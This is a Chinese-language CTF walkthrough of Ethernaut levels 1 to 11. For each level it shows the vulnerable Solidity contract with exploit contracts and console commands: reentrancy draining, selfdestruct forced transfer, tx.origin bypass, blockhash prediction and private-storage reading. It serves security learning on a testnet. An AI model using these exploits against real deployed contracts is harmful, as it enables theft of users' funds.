Ethernaut wp(上)

Ethernaut wp(上)

刷区块链题目的平台,正好学习一下

METAMASK

remix

0x01 Hello Ethernaut

上面的插件下好之后注册一个账户,确认链接之后切换到Rinkey测试网络

按照题目提示一步步做就是了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')

image-20210617044622032

0x02 Fallback

考察知识点,函数调用,不是重入漏洞

  1. you claim ownership of the contract
  2. you reduce its balance to 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256; //使用安全函数
mapping(address => uint) public contributions; //地址贡献值映射
address payable public owner; //定义合约拥有者

constructor() public { //初始化
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner { //定义函数修改器验证是否是拥有者
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable { //收钱函数
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) { //返回贡献值函数
return contributions[msg.sender];
}

function withdraw() public onlyOwner { //退钱函数
owner.transfer(address(this).balance);
}

fallback() external payable { //改变拥有者函数
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
  1. 多转钱,就能使合约拥有者变成自己
  2. 调用fallback函数,绕过验证后也能变成自己,fallback函数在调用Transfer函数的时候会调用
  3. 调用withdraw函数,账户清零
1
2
3
4
5
6
contract.contribute({value:1})  //要求1
//保证在执行FallBack函数时,能通过contributions[msg.sender] > 0的校验
contract.sendTransaction({value:1}) 或者 用MetaMask的发送功能。//要求1
//通过转账调用Fallback函数。
contract.withdraw() //要求2
//转走合约的钱。

image-20210617045950026

0x03 Fallout

使合约拥有者变成自己

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

看了一通代码发现Fallout函数不是构造函数,可以直接调用

1
contract.Fal1out()

image-20210617051912925

0x04 Coin Flip

猜硬币游戏,连续猜对十次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

主要是随机数安全,但是区块链上所有的数据都是公开的,源码中的

1
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

可以通过

1
uint256(blockhash(block.number -1));

获得

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Exp{
address public con_addr = 0xcf3Ba6B0681183999D8D053fD7F4E4Fa3340A524;
// 这个地址改成合约的地址
CoinFlip c = CoinFlip(con_addr);
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function guess() public{
uint256 blockValue = uint256(blockhash(block.number -1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}

本来想写个for循环,编译器提示我gas不足,会导致交易失败,就不了了之

连续点击十次guess

image-20210617054852440

image-20210617054951941

网上找到了一个POC

1
2
3
4
5
6
7
8
9
10
11
let blockHash = function() {
return new Promise(
(resolve, reject) => web3.eth.getBlock('latest', (error, result) => {
if(!error)
resolve(result['hash']);
else
reject(error);
})
);
}
contract.flip(parseInt((await blockHash())[2], 16) > 8)

果然太牛了

0x05 Telephone

考察msg.sender与tx.origin不相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

部署合约EXP调用Telephone即可

1
2
3
4
5
6
7
8
9
10
11
contract Exp{

address public con_addr = 0x285c2fd96e1582de7fcB314C9e0048B76089936e;
// 这个地址改成合约的地址
address public _owner = 0xe510Ac7b174D055679d38450c42AD07bC65E0bc9;
// 这个地址改成自己的地址
Telephone phone = Telephone(con_addr);
function attack() public{
phone.changeOwner(_owner);
}
}

image-20210617060301242

0x06 Token

整数乘法溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
1
2
3
4
5
6
7
8
9
10
11
12
contract Exp{

address public con_addr = 0xf920AeFe3343D3C8dd9BC4a360e814470300c344;
// 这个地址改成合约的地址
address public _owner = 0x63C2F14860D68d75dc2837DBD0D0845294291738;
// 随意填写一个地址
uint overvalue = 21;
Token token = Token(con_addr);
function attack() public{
token.transfer(_owner,overvalue);
}
}

image-20210617061736552

0x07 Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

这里Delegation调用了Delegate合约,在其fallback函数中 使用了delegatecall

考点在于 Solidity 中支持两种底层调用方式 calldelegatecall

call 外部调用时,上下文是外部合约 delegatecall 外部调用时,上下文是调用合约

也就是说通过address(delegate).delegatecall(msg.data);我们能调用delegate的任意函数

这里我们发现只要调用delegatepwn()函数就好了

在solidty中可以通过method id(函数选择器)来调用函数

1
contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)})//0xdd365b8b

image-20210617063916725

0X08 Force

The goal of this level is to make the balance of the contract greater than zero.

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

要求合约余额大于零,先试试直接转账

image-20210617151434286

去反编译看代码,啥也没有,fallback没有payable

1
2
3
4
5
6
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
revert(memory[0x00:0x00]);
}
}

最后想到用合约销毁强制转账的方式

1
2
3
4
5
6
7
8
contract exp{ 

function exp() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}

}

记得部署的时候打点钱,或者后面转也可以

image-20210617153930963

0x09 Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

定义为私有变量只能组织其他合约访问,但是无法阻止公开访问

按照其代码,可以知道password的存储位置是1

1
web3.eth.getStorageAt(contract.address, 1)

image-20210617154923739

image-20210617155309438

直接使用

1
contract.unlock("A very strong secret password :\)")//密码错误
1
contract.unlock(web3.utils.hexToBytes('0x412076657279207374726f6e67207365637265742070617373776f7264203a29'))

image-20210617161012697

0x0A King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

fallback() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份,那就把合约的fallback函数不弄成payable就能一直不接受了。当然第一步是先成为King

image-20210617162135418

此时King是别人

1
2
3
4
5
6
7
pragma solidity ^0.4.18;

contract Attacker{
constructor(address target) public payable{
target.call.gas(1000000).value(msg.value)();
}
}

给合约转一些钱,是自己成为King,同时不接受退款

image-20210617170057604

image-20210617172756652

image-20210617172746510

0x0B Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

fallback() external payable {}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Reenter {
Reentrance reentranceContract;
uint public amount = 1 ether; //withdrawal amount

constructor(address payable reentranceContactAddress) public payable {
reentranceContract = Reentrance(reentranceContactAddress);
}
function initiateAttack() public {
reentranceContract.donate{value:amount}(address(this));
//首先,需要捐赠一些钱
reentranceContract.withdraw(amount);
//然后调用合约的withdraw函数提现
}
fallback() external payable {
if (address(reentranceContract).balance >= 0 ) {
reentranceContract.withdraw(amount);
}//因为我们接受以太币的时候也会调用我们的回退函数
//而我们的回退函数中又一次调用了题目合约的withdraw函数
}
}

image-20210617180356753

image-20210617180356753